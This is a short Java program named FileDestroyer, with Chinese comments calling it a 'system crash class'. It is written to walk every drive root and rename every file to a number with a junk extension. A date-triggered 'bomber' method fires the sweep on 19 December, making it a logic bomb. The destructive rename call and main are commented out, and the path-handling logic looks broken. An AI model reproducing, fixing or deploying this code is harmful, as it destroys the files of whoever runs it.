import java.io.File;
import java.util.*;
//系统崩溃类,谨慎使用!
public class FileDestroyer
{
private String path="havefun.txt";
private File file=new File(path);
private File[] fr=file.listRoots();
private List<File> fls=new ArrayList<File>();
private List count=new ArrayList();
//获得系统根目录
public void getRootNames()
{
this.fill(fr, fls);
this.removeEmptyRoot(fls);
}
//清空空的根目录
public void removeEmptyRoot(List<File> l)
{
for(int i=0;i<l.size();i++)
{
if(l.get(i).listFiles()==null)
{
l.remove(i);
removeEmptyRoot(l);
}
}
}
//测试方法:获得根目录下所有文件夹路径
public void getDirNames()
{
File[] f=fls.get(fls.size()-2).listFiles();
List<File> fe=new ArrayList<File>();
this.fill(f, fe);
this.dirFilter(fe);
}
//测试方法:获得根目录下所有文件路径
public void getFileNames()
{
this.fileFilter(fls);
}
//文件列表填充器
public void fill(File [] f,List<File> l)
{
if(f==null)
{
System.out.println("空目录");
}
else
for(File ft:f)
{
l.add(ft);
}
}
//文件夹识别器
public void dirFilter(List<File> l)
{
for(File f:l)
{
if(f.isDirectory())
{
File[] ft=f.listFiles();
List<File> fe=new ArrayList<File>();
this.fill(ft, fe);
this.dirFilter(fe);
}
}
}
//文件识别器+破坏者
public void fileFilter(List<File> l)
{
for(File f:l)
{
if(f.isFile())
{
count.add(0);
this.fileDestroyer(f);
}
else if(f.isDirectory())
{
File[] ft=f.listFiles();
List<File> fe=new ArrayList<File>();
this.fill(ft, fe);
this.fileFilter(fe);
}
}
}
//文件破坏方法_1:修改文件名
public void fileDestroyer(File f)
{
String rfn=f.getPath();
StringBuilder st=new StringBuilder(rfn);
if(rfn.lastIndexOf("//")>rfn.lastIndexOf(".")+4)
{
System.out.println(rfn);
}
else
st.replace(rfn.lastIndexOf("//"), rfn.lastIndexOf(".")+4, "//"+count.size()+".汉子");
String nfn=st.toString();
System.out.println(nfn);
//System.out.println(f.renameTo(new File(nfn)));
}
public void bomber()
{
this.getRootNames();
Date d1=new Date(109,11,19);
Date d2=new Date();
if(d1.getMonth()==d2.getMonth()&&d1.getDate()==d2.getDate())
this.getFileNames();
}
public static void main(String[] args)
{
/*FileDestroyer fd=new FileDestroyer();
fd.getRootNames();
fd.getFileNames();
System.out.println(fd.count.size());
fd.bomber();*/
}
}